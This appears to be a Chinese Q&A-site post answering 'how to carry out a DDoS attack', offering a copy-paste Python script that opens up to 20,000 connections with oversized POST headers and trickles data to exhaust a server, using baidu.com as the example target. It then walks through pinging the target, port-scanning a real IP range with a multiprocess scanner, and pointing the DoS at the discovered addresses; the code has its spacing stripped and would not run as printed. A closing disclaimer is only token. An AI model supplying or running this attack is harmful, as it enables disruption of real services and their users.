如何进行DDOS攻击怎么做

2022-03-14 社会 121阅读

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:


importsocket

importtime

importthreading

#PressureTest,ddostool


#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------


buf=("POST%sHTTP/1.1\r\n"

"Host:%s\r\n"

"Content-Length:10000000\r\n"

"Cookie:dklkt_dos_test\r\n"

"\r\n"%(PAGE,HOST))

 

socks=[]

 

defconn_thread():

  globalsocks

  foriinrange(0,MAX_CONN):

    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

      s.connect((HOST,PORT))

      s.send(buf.encode())

      print("SendbufOK!,conn=%d\n"%i)

      socks.append(s)

    exceptExceptionasex:

      print("Couldnotconnecttoserverorsenderror:%s"%ex)

      time.sleep(10)

#enddef

 

defsend_thread():

  globalsocks

  whileTrue:

    forsinsocks:

      try:

        s.send("f".encode())

        #print"sendOK!"

      exceptExceptionasex:

        print("SendException:%s\n"%ex)

        socks.remove(s)

        s.close()

    time.sleep(1)

#enddef

 

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

 

conn_th.start()

send_th.start()


如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping-n10-l1baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在Pingbaidu.com[39.156.69.79]具有1字节的数据:

来自39.156.69.79的回复:字节=1时间=27msTTL=52

来自39.156.69.79的回复:字节=1时间=26msTTL=52

来自39.156.69.79的回复:字节=1时间=27msTTL=52

来自39.156.69.79的回复:字节=1时间=27msTTL=52

来自39.156.69.79的回复:字节=1时间=27msTTL=52

来自39.156.69.79的回复:字节=1时间=27msTTL=52

来自39.156.69.79的回复:字节=1时间=29msTTL=52

来自39.156.69.79的回复:字节=1时间=26msTTL=52

来自39.156.69.79的回复:字节=1时间=27msTTL=52

来自39.156.69.79的回复:字节=1时间=27msTTL=52


39.156.69.79的Ping统计信息:

  数据包:已发送=10,已接收=10,丢失=0(0%丢失),

往返行程的估计时间(以毫秒为单位):

  最短=26ms,最长=29ms,平均=27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:


#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴


#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

importsocket

importsys

importmultiprocessing

importtimeast


defports(ports_serve):

  #获取常用端口对应的服务名称

  forportinlist(range(1,100))+[143,145,113,443,445,3389,8080]:

    try:

      ports_serve[port]=socket.getservbyport(port)

    exceptsocket.error:

      pass


defports_scan(host,ports_service):

  ports_open=[]

  try:

    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    #超时时间的不同会影响扫描结果的精确度

    socket.timeout(0.01)

  exceptsocket.error:

    print('socketcreationerror')

    sys.exit()

  forportinports_service:

    try:

      #尝试连接指定端口

      sock.connect((host,port))

      #记录打开的端口

      ports_open.append(port)

      sock.close()

    exceptsocket.error:

      pass

  returnports_open


if__name__=='__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool=multiprocessing.Pool(processes=8)

  net='39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  forhost_numberinmap(str,range(8,10)):

    host=net+host_number

    #创建一个新进程,同时记录其运行结果

    results[host]=pool.apply_async(ports_scan,(host,ports_service))

    print('starting'+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()


  #打印输出结果

  forhostinresults:

    print('='*30)

    print(host,'.'*10)

    forportinresults[host].get():

      print(port,':',ports_service[port])

       



你会发现,Python反映了:

starting39.156.69.8...

starting39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

声明:你问我答网所有作品(图文、音视频)均由用户自行上传分享,仅供网友学习交流。若您的权利被侵害,请联系fangmu6661024@163.com